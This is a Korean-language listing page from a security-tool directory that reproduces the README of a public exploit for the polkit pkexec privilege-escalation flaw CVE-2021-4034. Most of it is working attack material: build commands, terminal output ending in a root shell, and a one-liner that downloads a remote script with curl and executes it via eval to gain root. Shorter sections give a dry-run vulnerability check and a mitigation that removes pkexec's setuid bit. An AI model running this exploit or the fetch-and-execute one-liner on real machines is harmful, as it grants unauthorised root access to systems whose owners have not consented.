Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2021-4034 — CVE-2021-4034 1day | Kitploit
도구/GitHubGitHub/berdav/cve-2021-4034
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingLearning & EducationBinary Exploitation
GitHubberdav/cve-2021-4034

CVE-2021-4034

CVE-2021-4034 1day

저장소 보기
2.0k5074년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2021-4034

폴킷 권한 상승 취약점을 위한 하루짜리 익스플로잇

make와 ./cve-2021-4034를 실행하기만 하면 루트 셸을 얻을 수 있습니다.

실제 작성자들의 원본 권고는 여기에 있습니다.

PoC

익스플로잇이 작동하면 즉시 루트 셸을 얻을 수 있습니다:

root@kitploit:~
vagrant@ubuntu-impish:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall    cve-2021-4034.c   -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit

대부분의 시스템에서 polkit을 업데이트하면 익스플로잇이 패치되므로, 사용법이 출력되고 프로그램이 종료됩니다:

root@kitploit:~
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
       --help |
       --disable-internal-agent |
       [--user username] PROGRAM [ARGUMENTS...]

See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$

Dry Run

셸을 실행하지 않고 시스템이 취약한지 테스트만 하려면 dry-run 타겟을 컴파일하세요.

프로그램이 'root'를 출력하며 종료되면 시스템이 취약한 것입니다.

root@kitploit:~
vagrant@ubuntu-impish:~/CVE-2021-4034$ make dry-run
...
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
root
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
1

시스템이 취약하지 않으면 오류를 출력하고 종료됩니다.

root@kitploit:~
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
pkexec --version |
       --help |
       --disable-internal-agent |
       [--user username] PROGRAM [ARGUMENTS...]

See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
0

Linux의 Polkit pkexec에 관하여

Polkit(이전 PolicyKit)은 Unix 계열 운영 체제에서 시스템 전체 권한을 제어하는 구성 요소입니다. 비권한 프로세스가 권한 있는 프로세스와 통신할 수 있는 체계적인 방법을 제공합니다. 또한 pkexec 명령 뒤에 실행하려는 명령(루트 권한으로)을 붙여 권한 상승된 명령을 실행하는 데 polkit을 사용할 수 있습니다.

원라이너 명령어

다음 명령으로 다운로드 및 실행 가능한 단일 스크립트를 사용하여 시스템을 쉽게 익스플로잇할 수 있습니다:

root@kitploit:~
eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
root@kitploit:~
vagrant@ubuntu-impish:~/CVE-2021-4034$ whoami
vagrant
vagrant@ubuntu-impish:~/CVE-2021-4034$ eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall    cve-2021-4034.c   -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
# whoami
root

완화 조치

운영 체제에 패치가 제공되지 않는 경우, 임시 완화 조치로 pkexec에서 SUID 비트를 제거할 수 있습니다.

root@kitploit:~
# chmod 0755 /usr/bin/pkexec

그러면 익스플로잇이 실패하며 pkexec에 setuid 비트가 활성화되어 있어야 한다는 오류 메시지가 출력됩니다.

root@kitploit:~
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ sudo chmod 0755 /usr/bin/pkexec
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ ./cve-2021-4034
GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT”
pkexec must be setuid root
도구 다운로드